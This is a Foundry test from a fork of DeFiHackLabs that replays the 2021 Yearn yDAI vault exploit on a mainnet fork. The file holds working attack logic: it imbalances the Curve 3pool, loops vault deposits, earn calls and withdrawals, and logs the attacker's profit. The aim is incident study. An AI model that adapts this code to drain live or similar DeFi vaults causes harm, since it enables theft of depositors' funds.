forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Yearn_ydai_exp.sol
128 lines (106 loc) · 5.52 KB
/
Yearn_ydai_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "./../interface.sol";
//Converted to foundry test from this file https://gist.github.com/xu3kev/cb1992269c429647d24b6759aff6261c
// @KeyInfo - Total Lost : ~11M US$
// Attacker : 0x14EC0cD2aCee4Ce37260b925F74648127a889a28
// Attack Contract : 0x62494b3ed9663334E57f23532155eA0575C487C5
// Vulnerable Contract : 0xACd43E627e64355f1861cEC6d3a6688B31a6F952
// Attack Tx : https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xACd43E627e64355f1861cEC6d3a6688B31a6F952#code
// @Analysis
// Post-mortem : https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md
interface ICurve {
function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;
function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;
function remove_liquidity(
uint256 token_amount,
uint256[3] memory min_amounts
) external returns (uint256[3] memory);
function get_virtual_price() external view returns (uint256 out);
}
interface IYVDai {
function balanceOf(address) external view returns (uint256);
function deposit(uint256 _amount) external;
function earn() external;
function withdrawAll() external;
}
contract Exploit is Test {
using stdStorage for StdStorage;
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 crv3 = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
IYVDai yvdai = IYVDai(0xACd43E627e64355f1861cEC6d3a6688B31a6F952);
ICurve curve = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
// Declare your exploit parameters here
uint256 constant max_3crv_amount = 300_000_000_000_000_000_000_000_000;
uint256 constant remove_usdt_amt = 167_473_454_967_245;
uint256 constant remove_usdt_amt_final_round = 167_288_317_922_857;
uint256[] earn_amt = [
105_469_871_996_916_702_826_725_376,
104_706_920_396_703_142_299_856_646,
103_948_014_417_774_019_565_578_888,
103_192_919_800_803_744_390_557_088,
102_441_640_504_232_413_679_923_590
];
uint256 constant init_add_dai_amt = 37_972_761_178_915_525_047_091_200;
uint256 constant init_add_usdc_amt = 133_000_000_000_000;
function writeTokenBalance(address who, address token, uint256 amt) internal {
stdstore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);
}
function setUp() public {
vm.createSelectFork("mainnet", 11_792_183);
uint256 max_earn_amt = 0;
for (uint256 i = 0; i < earn_amt.length; i++) {
if (earn_amt[i] > max_earn_amt) {
max_earn_amt = earn_amt[i];
}
}
require(max_earn_amt > 0, "0 is max amt?");
//Initialize initial token balances
writeTokenBalance(address(this), address(dai), init_add_dai_amt + max_earn_amt);
writeTokenBalance(address(this), address(usdc), init_add_usdc_amt);
//Approvals
dai.approve(address(yvdai), type(uint256).max);
TransferHelper.safeApprove(address(usdt), address(curve), type(uint256).max);
dai.approve(address(curve), type(uint256).max);
usdc.approve(address(curve), type(uint256).max);
}
function testAttack() public {
// Construct the exploit logic here
uint256 hacker_dai_amt_before = dai.balanceOf(address(this));
uint256 hacker_usdc_amt_before = usdc.balanceOf(address(this));
require(usdt.balanceOf(address(this)) == 0, "has usdt");
require(crv3.balanceOf(address(this)) == 0, "has c3rv");
require(yvdai.balanceOf(address(this)) == 0, "has ydai");
// First make the pool imbalanced
curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0);
// Exploit loop
for (uint256 i = 0; i < 5; i++) {
curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount);
yvdai.deposit(earn_amt[i]);
yvdai.earn();
if (i != 4) {
curve.add_liquidity([0, 0, remove_usdt_amt], 0);
} else {
curve.add_liquidity([0, 0, remove_usdt_amt_final_round], 0);
}
yvdai.withdrawAll();
}
// Convert some 3crv
uint256 dai_difference = hacker_dai_amt_before - dai.balanceOf(address(this));
curve.remove_liquidity_imbalance([dai_difference + 1, init_add_usdc_amt + 1, 0], max_3crv_amount);
require(dai.balanceOf(address(this)) == hacker_dai_amt_before + 1, "incorrect dai bal after attack");
require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before + 1, "incorrect usdc amount after attack");
//Lets give back our initial funding to see real profit
writeTokenBalance(address(this), address(dai), dai.balanceOf(address(this)) - hacker_dai_amt_before);
writeTokenBalance(address(this), address(usdc), usdc.balanceOf(address(this)) - hacker_usdc_amt_before);
//This is attacker profit, Only does one run to show it
console.log("Attacker get 3crv amt: %d", crv3.balanceOf(address(this)) / 1e18);
console.log("Attacker get usdt amt: %d", usdt.balanceOf(address(this)) / 1e6);
}
}